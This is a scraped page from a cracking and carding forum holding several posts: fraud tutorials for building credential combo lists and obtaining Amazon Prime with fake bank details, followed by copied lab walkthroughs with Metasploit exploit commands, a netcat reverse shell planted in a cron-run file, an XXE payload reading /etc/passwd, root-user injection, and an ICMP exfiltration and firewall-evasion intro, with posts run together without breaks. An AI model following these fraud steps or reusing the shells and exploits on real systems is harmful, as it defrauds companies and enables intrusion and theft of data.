| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983
Full Statistics
|
|
|
| [REFUND] How to profit from Corona |
|
Posted by: WeHa - 05-15-2020, 09:34 AM - Forum: Cracking Tutorials & Other Methods
- No Replies
|
 |
Corona has hit us hard! Everybody is already affected or will be affected by it sooner are later.
Many people are forced to stay at home and that means they will not get paid.
But not all hope is lost! There is still a way you can profit from all of this
Quote:The contents of this section are hidden for your group
Register or Login
|
|
|
|
| [HQ] How to get hq keywords |
|
Posted by: WeHa - 05-15-2020, 09:29 AM - Forum: Cracking Tutorials & Other Methods
- No Replies
|
|
1. Go to [To see content please register here]
2. Type something in - example: Uplay
3. Copy all keywords to clipboard (bottom right)
4. Paste them in txt
5. repeat it with other words - example:
Uplay accounts, Uplay login, ubisoft, ubisoft games, uplay mail ...
6. Use these to create combos
|
|
|
|
| Get a free amazon prime account |
|
Posted by: WeHa - 05-15-2020, 09:27 AM - Forum: Cracking Tutorials & Other Methods
- No Replies
|
|
Open Chrome Incognito Mode.
2. Go to [To see content please register here]
( Connect Germany Vpn For This)
3. Create A New Account. (Fake or Real One)
[ For Free Email Address Use - gmx.co.uk ]
4. Now Verify Your Email Address. (A code Sent to your Email Id)
5. Now After Login Click On Account.
6. Click On Prime.
7. Click on Try prime.
8. Now Select Payment Method ( Click On Add A Bank Account )
But How to Get Free Bank Details?
1st Step- Go To fake-it.ws
2nd Step- Click On Germany flag
3rd Step - Scroll Down And Find IBAN & BIC Number.
9. After Getting IBAN & BIC Fill that Details on Amazon prime Page & Click Submit.
10. Now Fill Address (should be your real country):
a. Street - Your Address
b. City - Your Address
c. State - Your Address
d. Pincode - Your Address
e. Country - Your Country*
f. Phone Number - Put Any Random 10 Digit Number*
11. Click On OK
12. Click On Confirm
13. You Got Now Amazon Prime For Free* That's It
14. Login With Prime Video: primevideo.com/ .
15. Now Select Your Country In Prime Video And Click Submit.
|
|
|
|
| [Guide] SP:Jerome: Vulnhub Walkthrough |
|
Posted by: NINZA - 05-14-2020, 06:00 PM - Forum: Carders Home
- Replies (1)
|
|
Today we are going to take another CTF challenge from the series of SP:Jerome. The credit for making this VM machine goes to “Daniel Solstad” and it’s a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Intermediate
Penetrating Methodology:
- Scanning
- Enumeration
- Exploitation
- Privilege Escalation
Walkthrough
Scanning
Let’s start of by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.104 by using Netdiscover.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZWiurI1rJMM/XT3TNDlMdwI/AAAAAAAAfp0/LXQ62jMO5tQTi23tuBHZy1Fbyi5TIjKVQCLcBGAs/s1600/1.png?w=687&ssl=1)
We used Nmap for port enumeration and found that only port 8080 is open on which a squid proxy is running, which means our target machine is a proxy server.
nmap –A 192.168.1.104
1
nmap –A 192.168.1.104
![[Image: 2.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-zxD4HNaR3BE/XT3TQFhyvNI/AAAAAAAAfqU/RPZcPzlMbSsrb6XyVvmobIqmS9tcIGpYgCLcBGAs/s1600/2.1.png?w=687&ssl=1)
Enumeration
Since the target machine was behind the proxy so we may not get desired results from any direct enumeration technique. We tried using dirb with a proxy for directory brute forcing but didn’t get anything. Then we tried Dirbuster with proxy and got one directory named called /server-status.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-UGgXd5O15M4/XT3TQR5469I/AAAAAAAAfqY/SMnFvXA_OoQXsVjXHhDL-oapUPC--cwCwCLcBGAs/s1600/2.png?w=687&ssl=1)
To set up a proxy in Dirbuster go to Advance options then click on Http Options and check the Run through a Proxy box and enter the host IP and port number.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ZpdMF3-mQ-g/XT3TQWiHL0I/AAAAAAAAfqc/xD4k_UB6mQgW7UTV00ubeidEt94XgGDrACLcBGAs/s1600/3.png?w=687&ssl=1)
we got http 200 Ok response for /server-status from its result.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-fSahlZQd7uQ/XT3TQwGkyJI/AAAAAAAAfqg/IVPVcfIJxtw0ms3TDhCyYjaXto0d3u8OACLcBGAs/s1600/4.png?w=687&ssl=1)
So to access the URL 127.0.0.1/server-status in the browser we first set up our proxy using the foxyproxy or directly in the settings of the browser.
We have done here using the foxyproxy plugin.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sDbQlVhGkqE/XT3TRC1UviI/AAAAAAAAfqk/MRhUD_5r7CY9n1R-D1DVJQwJW0xc_2u1ACLcBGAs/s1600/5.png?w=687&ssl=1)
Then we accessed the URL and found that there is one more port open on the target machine i.e 1337.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-B2JScISThfg/XT3TRUCQAcI/AAAAAAAAfqo/T4FSKxxbLfkIgYnlYOGzmfoMmHUHoZALQCLcBGAs/s1600/6.png?w=687&ssl=1)
After accessing the URL 127.0.0.1:1337 we couldn’t find anything there.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jTIyLt9oxI0/XT3TRwecebI/AAAAAAAAfqs/7Qph4idfxnMf_3oyXVRbtRN96LXEH8gRACLcBGAs/s1600/7.png?w=687&ssl=1)
So we again used Dirbuster for brute force and got a directory named /wordpress.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uarne-RUhSk/XT3TSPNaQpI/AAAAAAAAfqw/VE3F7GVG9h8OGpmgrFzgsQ5_KvZDozoQgCLcBGAs/s1600/8.png?w=687&ssl=1)
This time I found the directory for /wordpress.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-2q-GQQ2mJNA/XT3TSTC4r2I/AAAAAAAAfq0/NYBuO6sHR9wC1mK97uYvcKvoEE_zFoXUgCLcBGAs/s1600/9.png?w=687&ssl=1)
After accessing the URL we got a WordPress site. So we used WPScan with proxy to find any vulnerability on the just found WordPress site.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ZZnXQVnV2E8/XT3TNCACuRI/AAAAAAAAfp4/uNH0PRg9bnUGn0E3gZq-JLXvlOitqT0KwCLcBGAs/s1600/10.png?w=687&ssl=1)
wpscan --url [To see content please register here] --proxy [To see content please register here] -e u
1
wpscan --url [To see content please register here] --proxy [To see content please register here] -e u
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-t1O4xCUkcPM/XT3TNCaAF1I/AAAAAAAAfpw/icY9PYDS_gI-08bzpWBX7sdyCTY0LJeQACLcBGAs/s1600/11.png?w=687&ssl=1)
In the results of the scan we found that the site has two wp admins root & Jerome.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-oeCyGQfA7Po/XT3TN0IKj_I/AAAAAAAAfp8/BtUqXeHR35YHnFhq-IOj4yZxtU4T6s8XwCLcBGAs/s1600/12.png?w=687&ssl=1)
Also, we got to know that there is a code execution vulnerability present on the website for which the exploit is already present in the Metasploit.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-TnV-DL1wctQ/XT3TOSfPwxI/AAAAAAAAfqE/tq9IewFEb2Qgl84KchSWi-0iv-KyVQ3SACLcBGAs/s1600/13.png?w=687&ssl=1)
Exploitation:
We used the same exploit in msf which was given by our WPScan results.
Since this was an authenticated code execution exploit which means we have to enter the credentials, we put in the jerome jerome as username and password and it came out to be correct and we got a meterpreter shell.
use exploit/multi/http/wp_crop_rce
set rhosts 127.0.0.1
set proxies http:192.168.1.104:8080
set username jerome
set password jerome
set targeturi /wordpress
set rport 1337
set ReverseAllowProxy true
set lhost 192.168.1.105
exploit
1
2
3
4
5
6
7
8
9
10
use exploit/multi/http/wp_crop_rce
set rhosts 127.0.0.1
set proxies http:192.168.1.104:8080
set username jerome
set password jerome
set targeturi /wordpress
set rport 1337
set ReverseAllowProxy true
set lhost 192.168.1.105
exploit
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-WtZxWVpYtpo/XT3TOdK9FvI/AAAAAAAAfqA/uYA7GNHl6rMWWXeXPFUDQ6Pn0PkpkKiDgCLcBGAs/s1600/14.png?w=687&ssl=1)
We looked into the /home/Jerome directory and got our first flag.
Now it was time to get to the root shell and get out the final flag. We looked here and there to get something useful and in the process, we checked into the crontab file and found that there is one script simulate.sh scheduled after every reboot.
The simulate.sh file is tasked to run three commands cd, ls and sleep.
cd jerome
cat flag.txt
cat /etc/crontab
cat /usr/share/simulate.sh
1
2
3
4
cd jerome
cat flag.txt
cat /etc/crontab
cat /usr/share/simulate.sh
we found a script “simulate.sh” will run as cronjob on reboot and the script was running “ls” file within /home/jerome and then sleep for 120 s.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5rdJRGwuryA/XT3TO2rUy1I/AAAAAAAAfqI/sNJNOpeZfSQhAyQoWl52Q7-d0CGD0euxACLcBGAs/s1600/15.png?w=687&ssl=1)
Privilege Escalation:
To elevate to the root shell what we did is we edited the ls file using the echo command in which we have written the netcat export bash shell one-liner which actually exports the bash shell of the victim machine to the listener machine. Then reboot to the VM machine to so that “simulate” script gets execute through cronjob and wait for netcat session.
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo "nc -e /bin/bash 192.168.1.105 1234" >> ls
chmod 777 ls
1
2
3
4
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo "nc -e /bin/bash 192.168.1.105 1234" >> ls
chmod 777 ls
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-40Un3RINKOU/XT3TPErKVyI/AAAAAAAAfqM/qSDiH6-GCDkTDX2lwddylDhXncZISQ7KQCLcBGAs/s1600/16.png?w=687&ssl=1)
On our kali, we started the nc listener on the same port and after rebooting the target system we got the root shell and finally the root flag.
nc –lvp 1234
id
cat flag.txt
1
2
3
nc –lvp 1234
id
cat flag.txt
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dKMUh36rMFA/XT3TPR40J_I/AAAAAAAAfqQ/5PQwJNXHuFsDw1-VJkiWoZmdaVyNDAu5wCLcBGAs/s1600/17.png?w=687&ssl=1)
In this article, you will learn about the RED TEAM Operation for data exfiltration via ICMP-C2 and ICMP Tunneling because both approaches are useful in order to circumvent firewall rules because they generate unsound traffic in the network.
Table of Content
Brief Summary on working of ICMP Protocol
Command & Control via ICMP Protocol- Requirement
- icmpsh: C2-channel & Its Installation
- Run icmpsh as Master
- Run icmpsh as Slave
ICMP Tunneling- Requirement
- Configure ICMP over Server Machine (Target)
- Configure ICMP tunnel over Client Machine (Intruder)
- Connect SSH Over ICMP
Brief Summary on working of ICMP Protocol
The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information which indicates that a requested service is not available or that a host or router could not be reached.
It is layer 3 i.e. network layer protocol used by the ping command for sending a message through ICMP payload which is encapsulated with IP Header Packet. According to MTU the size of the ICMP packet cannot be greater than 1500 bytes.
ICMP packet at Network layer
IP header
ICMP header
ICMP payload size
MTU (1500)
20 bytes
8 bytes
1472 bytes (maximum)
20 + 8 + 1472 = 1500
A ping command sends an ICMP echo request to the target host. The target host responds with an echo Reply which means the target host is alive.
Read more from [To see content please register here]
Command & Control via ICMP Protocol
In our many publications, we had discussed over C2-channel who is additionally acknowledged as command & control so you may find out it [To see content please register here] . Although you are pleased to learn how to use ICMP protocol as a command & control channel between this thesis.
A cyber-war is strolling of Intruder and Security researcher, therefore, we need to hold partial backup plan. As we all know the company has grown to be smarter, they understand such as type concerning attack is being observed after achieving TCP reverse connection of the machine.
Thus we come up with ICMP secret shell which and use icmpsh as command & control tool.
REQUIREMENT- Attacker Machine or C2-channel:192.168.1.108 (Kali Linux)
- Host machine:192.168.1.106 (Windows 10)
icmpsh: C2-channel & Its Installation
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C, Perl or Python. The main advantage over the other similar open-source tools is that it does not require administrative privileges to run onto the target machine.
The tool is clean, easy and portable. The slave (client) runs on the target Windows machine, it is written in C and works on Windows only whereas the master (server) can run on any platform on the attacker machine as it has been implemented in C and Perl by Nico Leidecker and later it also gets ported into Python too.
It is very easy to install and use as c2-channel. Turn the attacker machine for icmpsh and download icmpsh from Github.
git clone [To see content please register here]
1
git clone [To see content please register here]
|
|
|
|
| [Guide] Comprehensive Guide to Steghide Tool |
|
Posted by: NINZA - 05-14-2020, 05:56 PM - Forum: Carders Home
- Replies (1)
|
|
In this article, we’ll learn about Steghide. There are various steganography tools available but the part that differentiates it is that it uses a variety of algorithms to encrypt the data. Moreover, Steghide supports to hide data behind any image(jpg/jpeg/png/gif/bmp), audio (mp3/wav), excel, etc.
Table of Content - Introduction to Steganography
- Introduction to Steghide
- Features
- Installation of Steghide
- Getting Start with Steghide
- Functionality of Steghide
- Embedding of Data Via Steghide
- Extraction of Data Via Steghide
- Password Protect Files
- Retrieve Information of Embedded File
- Verbose Mode
- Compression Mode
- Anti-compression Mode
- Embedding File Without Name
- Encrypting Algorithms
- Overwriting the Existing File
Introduction to Steganography
In digital steganography, electronic communications may incorporate steganographic coding inside of a transport layer, such as a document file, picture file, program or convention. Media records are perfect for steganographic transmission since of their expansive estimate. For instance, a sender might begin with a harmless picture and make few alterations to it in order to hide data, so that, this alteration goes unnoticed for someone who is not particularly seeking out for it.
The upside of steganography over cryptography alone is that the planned mystery message does not stand out to itself as an object of examination. Clearly obvious scrambled messages—regardless of how unbreakable—stimulate intrigue, and may in themselves be implicating in nations where encryption is illicit. In this manner, while cryptography is the act of securing the substance of a message alone, steganography is worried about hiding the way that a mystery message is being sent, just as disguising the substance of the message.
Introduction to Steghide
Steghide may be a steganography device which permits you to cover up confidential records inside a picture or sound record with a passphrase. Bolsters BMP and JPEG picture groups, AU and WAV sound groups. By default, its employments Rijndael calculation to scramble the record and the key measure is 128 bits. This tool has its advantages and disadvantages. One upside is that it is significantly better at covering up and can without much of a stretch shroud any document type. It does as such by utilizing a propelled calculation to shroud it inside the picture (or sound) record without changing the look (or sound) of the document. This additionally implies without utilizing steghide (or if nothing else a similar scientific methodology as steghide) it is hard to extricate the concealed documents from the picture.
Features- Compression of embedded data
- BMP, GIF and JPG supported
- Encryption of embedded data
- Decryption via password
- Uses various algorithms for encryption
Installation
Let’s start with the installation of steghide. In windows, we can download steghide from [To see content please register here] . After downloading we have to simply unzip the files and use it through the cmd. In Linux, open your terminal and type the following command to download Steghide :
apt-get install steghide
1
apt-get install steghide
Getting Started with Steghide
To start Steghide, the most basic option we use the help command. This command will display us all the options that Steghide provides us.
steghide --help
1
steghide --help
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BnXsd8cMMTU/XTql3shlEHI/AAAAAAAAfig/WonF9sgPkdc97WQoKYd_lGksbPL9tOG8ACLcBGAs/s1600/1.png?w=687&ssl=1)
Embedding Data in The Image
We hide data in the image using Steghide so that only the person who acknowledges it can read that. So, we made a text file named as user.txt in which we wrote our confidential data and image.jpeg is that file in which we are embedding our data. To achieve this, we’ll be executing the following command:
steghide embed -ef <txt filename> -cf <media filename>
1
steghide embed -ef <txt filename> -cf <media filename>
Here, ef and cf are termed as embedded file and cover file respectively.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-YW2pkwOPuq0/XTql4p1CbMI/AAAAAAAAfio/gJCMJH2pdQMBPyWZBRqGImRHBV4C_jh6ACLcBGAs/s1600/2.png?w=687&ssl=1)
Extraction of Data Via Steghide
Using Steghide adds an extra layer of security by allowing us to use a password for it. Now, to extract the hidden data use the following command :
steghide extract -sf <media filename>
1
steghide extract -sf <media filename>
Then enter the password in order to extract the file.
Here,
sf is a secret file
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AkQFSqM3mx0/XTql49YXMNI/AAAAAAAAfiw/Wrwda-6U54wTXOafryudk98SabhuanqFgCLcBGAs/s1600/3.png?w=687&ssl=1)
Password Protect Files
Now, we can also extract the files using the following command. This command is different is that it specifies a password in the command itself, therefore, we do not need to specify it separately.
steghide embed -ef <txt filename> -cf <media filename> -p <password>
1
steghide embed -ef <txt filename> -cf <media filename> -p <password>
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kVHC2-fl6Ak/XTql4vj01uI/AAAAAAAAfis/MtEYhkwm7dUUdzWz0DFvbVfw5Te2DbW7gCLcBGAs/s1600/4.png?w=687&ssl=1)
Retrieve Information of Embedded File
If we have an image that is suspected to have data hidden and if so, then which algorithm is used to encrypt the data in the file. Then we will use the following command :
steghide info <media filename>
1
steghide info <media filename>
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-92HliPBah6c/XTql5Uihf5I/AAAAAAAAfi0/JTwfaN6PZ8Q-eoZDX-UE9WWsISxLOL3lwCLcBGAs/s1600/5.png?w=687&ssl=1)
Verbose Mode
To get each and every information of a file during its extraction, we can use the verbose mode. The verbose mode gives you the detailed information. We can use the verbose mode by executing the following command :
steghide embed -v -ef <txt filename> -cf <media filename>
1
steghide embed -v -ef <txt filename> -cf <media filename>
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-D6tQ5vRTFi4/XTql5--cYCI/AAAAAAAAfi4/jTr1faPEbeA7rpySuFHVZd9hvO8GPLCsgCLcBGAs/s1600/6.png?w=687&ssl=1)
Compression Mode
Now if we want to compress text file before hiding it then we would use the following command. The compression level can vary from 1 to 9. The first level gives you speed to compress whereas, at 9th level, it will provide you with the best compression techniques.
steghide embed -ef <txt filename> -cf <media filename> -z 2
1
steghide embed -ef <txt filename> -cf <media filename> -z 2
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-7iY6-LNCJ7w/XTql68U0HuI/AAAAAAAAfjA/GWdyRMv0NqoPZx6NJmmiEIAtp1lTQTk9QCLcBGAs/s1600/8.png?w=687&ssl=1)
Anti Compression Mode
Now if we don’t want to compress a file before hiding it then we will use the following command :
steghide embed -ef <txt filename> -cf <media filename> -Z
1
steghide embed -ef <txt filename> -cf <media filename> -Z
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-RS5Vo0N3wqM/XTql6V37fLI/AAAAAAAAfi8/pWlrRlb78LgQ8RYPYgN5peeb6iVlDTrDQCLcBGAs/s1600/7.png?w=687&ssl=1)
Embedding File Without Name
We can also hide a file without naming it. We will use this command :
steghide embed -ef <txt filename> -cf <media filename> -N
1
steghide embed -ef <txt filename> -cf <media filename> -N
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ySLj3Qpj7sM/XTql7gWMKiI/AAAAAAAAfjE/j5WtLr6LrA4K84smLRl_Eshz8DRb3NxJQCLcBGAs/s1600/9.png?w=687&ssl=1)
Encrypting Algorithms
We can encrypt the data that we are hiding by using encryption techniques. And this can be easily achieved by just using the following command :
steghide embed -ef <txt filename> -cf <media filename> -e <algorithm name>
1
steghide embed -ef <txt filename> -cf <media filename> -e <algorithm name>
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CxPxg6hfcmE/XTql3vgbHWI/AAAAAAAAfik/PerMGEIe8YgnlU9ezJ1ZxRCjw9dzhM8nQCLcBGAs/s1600/10.png?w=687&ssl=1)
Overwriting the Existing File
When extracting the file let’s assume we have already have a file in the same directory with the same name. then we can use the following command to overwrite the existing file if that is desired. And for this use the following command :
steghide extract -sf <media filename> -f
1
steghide extract -sf <media filename> -f
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-CaY5ObAwkIs/XTql3pg8fKI/AAAAAAAAfic/oDew4CERbtwO8gmFXeoDlNsZONbYFumggCLcBGAs/s1600/11.png?w=687&ssl=1)
Conclusion
So, this was the short guide about Steghide. And as you can see, it is an easy tool for steganography. It’s also user-friendly. It has, therefore, become one of the finest steganography tools for extracting and embedding information in a multitude of media files Steghide has many uses and its other notable characteristics such as file encryption make it one of the finest steganography.
Today we are going to take another CTF challenge Minu:v2. The credit for making this VM machine goes to “8bitsec” and it is a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:
- Scanning
- Enumeration
- Exploitation
- Privilege Escalation
Walkthrough:
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.101 by using Netdiscover.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ROzjOglpPo8/XTnN43jwvSI/AAAAAAAAfhI/YBYCpWAw8fckVKCWoiv5tPIQC0ANNmHlQCLcBGAs/s1600/1.png?w=687&ssl=1)
Then, as usual, we used our favourite tool Nmap for port enumeration. We found that port 22 and 3306 are open.
And we observed that on port 3306 http service was running.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-OBlVFuq5di8/XTnN631YmtI/AAAAAAAAfhY/o7WgbXCtVBU73eiJQmMCl25tdL2z1DFhACLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration:
We found nothing useful on the index page so we used dirb for brute-forcing and found one directory with .html extension.
dirb [To see content please register here] -X .html
1
dirb [To see content please register here] -X .html
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mpeez2Omysw/XTnN7VKvfOI/AAAAAAAAfhg/FVsRxbTyHhgp6tQANibYkhM-FNgdMH4ZQCLcBGAs/s1600/3.png?w=687&ssl=1)
We tried to access the URL and found that it is an upload page and accepts only .svg files as input.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GwPCxHzeNwM/XTnN7bxfJWI/AAAAAAAAfhc/1ajUevB4t9AWG1gy_ooS_jGSxiHft6xHwCLcBGAs/s1600/4.png?w=687&ssl=1)
So we took help of the google to find any script in SVG format which we can utilize for xxe injection.
![[Image: 5.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-L9BvSkxIVxw/XTnN7_7mvaI/AAAAAAAAfhk/asIxFwfVM0snVu0Yw355Kj33IVmSnzZfQCLcBGAs/s1600/5.1.png?w=687&ssl=1)
After doing some research we found on such script in which we are injecting /etc/passwd command. We copied the script and saved it as .svg file.
![[Image: 5.2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4mdmWQ6FTEA/XTnN8Ll0PXI/AAAAAAAAfho/J3xoSL1us9w75jE4pbwHt1I8BxElIF9GwCLcBGAs/s1600/5.2.png?w=687&ssl=1)
Exploitation:
We tried to upload the script file and it got successfully uploaded. And after uploading, we checked for the page source and got the output of /etc/passwd file.
We came to know that the target has multiple users like employee, chrony, nobody etc.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5pWQjulYANs/XTnN8S3Bb1I/AAAAAAAAfhs/kP8WaMjue9EKAzf8f6T5AK2yBF7MXOj0gCLcBGAs/s1600/5.png?w=687&ssl=1)
We thought of exploring other commands using the same script.
Since the target machine is using the /bin/ash shell, we thought of checking the shell history in the /.ash_history directory by editing the script file.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-lOEY4gcr1MQ/XTnN84X6MNI/AAAAAAAAfhw/n0byAa_aGr0iGVMIZ1QGzsf5wSqmIHmlACLcBGAs/s1600/6.png?w=687&ssl=1)
After editing we uploaded the file and got some useful information from the history file, which gave us a username and a password.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WnaXaTEKhSo/XTnN9TST1HI/AAAAAAAAfh4/A0EUuPS2YuASmQ2-I5xViBYZlnAXgY9vACLcBGAs/s1600/7.png?w=687&ssl=1)
So we tried to ssh the target machine with username employee and a password superultrapass3 which we got above and were successfully able to login.
After logging in we checked for the suid permissions for privilege escalation and got one file with name micro which came out to be an editor tool.
ssh [email protected]
find / -perm -u=s -type f 2>/dev/null
/usr/bin/micro
1
2
3
ssh [email protected]
find / -perm -u=s -type f 2>/dev/null
/usr/bin/micro
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-EfFSLAGOPLY/XTnN9QbvjoI/AAAAAAAAfh0/EV8QmwwM4bIdrhlI2CiYHkgyUWupxfGqACLcBGAs/s1600/8.png?w=687&ssl=1)
Privilege Escalation:
We tried to pipe the contents of /etc/passwd file into the macro editor where we can edit or add new users with root privileges
cat /etc/passwd | /usr/bin/micro
1
cat /etc/passwd | /usr/bin/micro
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rAnONdKaI3Y/XTnN4rXPLyI/AAAAAAAAfhE/ZqvfNKv27c4QRI7c0xtuhBlcKbJ7fnfXACLcBGAs/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-SqSjBvV03qA/XTnN4jx-JeI/AAAAAAAAfhA/q-pwvcB5wLkEHttJLPHtH1KFE24kW6mygCLcBGAs/s1600/11.png?w=687&ssl=1)
We created the password for the new user using the openssl tool.
openssl passwd -1 -salt user3 pass123
1
openssl passwd -1 -salt user3 pass123
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cbB_79VPZEQ/XTnN5jXC5DI/AAAAAAAAfhM/9nLJST7-Po8PDLLCBXfRSTDr9JA9rE-ZgCLcBGAs/s1600/12.png?w=687&ssl=1)
After that, we added the new user test and hashed password with root privileges into the /etc/passwd file and saved it.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Vx8e17XFy6M/XTnN5-w0yNI/AAAAAAAAfhQ/3iSD7V_3QWwq5nICFJjjdePaw7qDH1XEgCLcBGAs/s1600/13.png?w=687&ssl=1)
Once we had a user with root privileges we switched to that user and successfully got the shell with root shell and eventually got the flag.
su test
id
cd /root
cat flag.txt
1
2
3
4
su test
id
cd /root
cat flag.txt
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-pdz0LTT1yB0/XTnN6FteH8I/AAAAAAAAfhU/uFw32-tRpokW0g3ds5aFk7tbt0KOIWm-QCLcBGAs/s1600/14.png?w=687&ssl=1)
PumpkinFestival is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about collecting 10 pumpkin tokens gain the root access to collect the PumpkinFestival_Ticket.
You can download it from [To see content please register here]
Level: Beginner to Intermediate
Penetrating Methodology:
- Scanning
- Enumeration
- FTP
- WPScan
- DirBuster
- Enum4linux
- Hydra
- Exploitation
- Privilege Escalation
Walkthrough:
Scanning:
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.101 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. We found that port 21, 80 is open and ssh is running on port 6880.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Ne7ytSIiT74/XThWvsNRwpI/AAAAAAAAfe8/BUhPAmMLP6IhE2uymp-_DYHw_3HobjQFQCLcBGAs/s1600/1.png?w=687&ssl=1)
Token 1:
Anonymous login is enabled on the ftp. So we tried to login using anonymous: anonymous.
Upon successful login we traversed through different directories and found our first token 2d6dbbae84d724409606eddd9dd71265 inside token.txt file.
ftp 192.168.1.101
cd secret
get token.txt
bye
cat token.txt
1
2
3
4
5
ftp 192.168.1.101
cd secret
get token.txt
bye
cat token.txt
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0QBZmkAd_HE/XThWyUpQOOI/AAAAAAAAffc/JcptX2E85xMEmeLskpFvmi3E_N_t3DF6ACLcBGAs/s1600/2.png?w=687&ssl=1)
Token 2:
Port 80 is open on the target system, we opened the IP address in our browser we didn’t get aby token but got a word named Alohomera! Which might be useful later on.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wDVxR3X_zUU/XThW2XClXfI/AAAAAAAAfgE/kxoklaJN9rE7_YBmo_yhqwrM-qIZUxq8wCLcBGAs/s1600/3.png?w=687&ssl=1)
We checked for the page source of the page and got our second token 45d9ee7239bc6b0bb21d3f8e1c5faa52.
In the page source only we also found one username Harry which we will use in the later stage.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5yMIoGgLz6M/XThW2rNzfYI/AAAAAAAAfgI/4Y3WgJ8I4roOMToFSYLFQgb1lz3meuWYACLcBGAs/s1600/4.png?w=687&ssl=1)
Token 3:
In the nmap scan earlier we have got few directories, we tried to access each one of them one by one.
From the /store/track.txt we found one username admin and a domain name pumpkin.local.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kzo4YuWixng/XThW3c1BAUI/AAAAAAAAfgM/0YkMBGRFAoE_ts9ytWdnaDAFR5s1-MY2gCLcBGAs/s1600/5.png?w=687&ssl=1)
We mapped the domain name with the target machine’s IP address in the /etc/hosts file.
